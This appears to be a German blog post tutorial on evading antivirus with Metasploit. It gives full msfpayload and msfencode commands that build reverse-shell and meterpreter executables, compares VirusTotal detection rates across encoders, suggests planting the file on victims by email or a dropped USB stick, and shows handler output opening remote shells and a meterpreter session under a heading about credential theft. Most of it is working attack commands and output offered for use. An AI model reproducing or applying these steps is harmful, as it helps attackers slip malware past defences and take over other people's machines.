Reply to comment
Metasploit AV evading
Mit Metasploit ist es möglich ausführbare Payloads zu erstellen die beispielsweise eine Reverse Shell zum Angreifer herstellen. Es handelt sich hierbei um eine gewöhnliche ausführbare exe Datei die man dem Opfer in irgendeiner Weise unterschieben muss. Mittlerweile gehören Virenscanner zur Grundausstattung eines jeden Systems und somit ist es wichtig dass die üblichen Scanner unseren Payload nicht erkennen.

Wie erstellen wir nun einen Payload mit einer Reverse Shell?
12:15:11 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfpayload windows/shell/reverse_tcp LHOST=192.168.1.100 X > payload.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 278
Options: LHOST=192.168.1.100Um den zu erstellenden Payload so zu kodieren dass ihn möglichst wenige Virenscanner erkennen lässt sich der Payload noch durch msfencode schicken. Zur Auswahl stehen hierfür folgende Encoder (beachtet den Rank):
12:19:40 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfencode -l
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase EncoderNun können wir zum Vergleich einen payload mit dem x86/countdown Encoder erstellen und diesen auf Virustotal überprüfen lassen und anschließend erstellen wir einen Payload mit dem x86/shikata_ga_nai Encoder und überprüfen diesen ebenso.
x86/countdown-Encoder:
12:22:47 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfpayload windows/shell/reverse_tcp LHOST=192.168.1.100 R | /pentest/exploits/framework3/msfencode -e x86/countdown -c 4 -t exe -o payload-countdown.exe
[*] x86/countdown succeeded with size 297 (iteration=1)
[*] x86/countdown succeeded with size 315 (iteration=2)
[*] x86/countdown succeeded with size 333 (iteration=3)
[*] x86/countdown succeeded with size 351 (iteration=4)7 von 40 Virenscanner finden den schadhaften Code noch ...
x86/shikata_ga_nai-Encoder:
12:24:50 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfpayload windows/shell/reverse_tcp LHOST=192.168.1.100 R | /pentest/exploits/framework3/msfencode -e x86/shikata_ga_nai -c 4 -t exe -o payload-shikata_ga_nai.exe
[*] x86/shikata_ga_nai succeeded with size 306 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 333 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 360 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 387 (iteration=4)Und nun waren es nur mehr 6 Scanner ...
Nach verschiedensten Tests mit unterschiedlichen Encodern, unterschiedlicher Anzahl an Interationen liegt die Erfolgsquote der Virenscanner immer zwischen 6 und 9 (von 40 Scannern) erfolgreichen Erkennungen. Nicht sehr berauschende Ergebnisse auf der Seite der Verteidigung ...
Payload in Action
Der Payload muss nun auf dem Opfersystem zur Ausführung gebracht werden. Wie? Möglichkeiten gibt es dazu viele! Beispielsweise einfach per Email verschicken oder dem Opfer per verlorenen USB Stick unterschieben ...
12:45:18 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST 192.168.1.100 yes The local address
LPORT 4444 yes The local port
12:45:55 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.103:7636)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
E:\payload>So einfach kann es gehen und schon tunnelt sich eine Shell vom internen Netzwerk zum Angreifer und dieser hat Zugriff auf das interne Netzwerk! Nicht auszudenken wenn das in einem Firmennetzwerk passiert wo der User evtl. auch lokale Administrationsrechte besitzt!
meterpreter Verbindung aufbauen und Credential Diebstahl:
12:50:54 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | /pentest/exploits/framework3/msfencode -e x86/shikata_ga_nai -c 3 -t exe -o test/payload-meterpreter-shikata_ga_nai-3encoding.exe
[*] x86/shikata_ga_nai succeeded with size 306 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 333 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 360 (iteration=3)
12:52:13 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Starting the payload handler...
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.103:7673)
meterpreter > help
...Viel Spaß damit ...


Recent comments
5 weeks 2 hours ago
13 weeks 3 days ago
13 weeks 3 days ago
18 weeks 2 days ago
18 weeks 5 days ago
19 weeks 2 days ago
19 weeks 3 days ago
24 weeks 5 days ago
25 weeks 1 day ago
25 weeks 2 days ago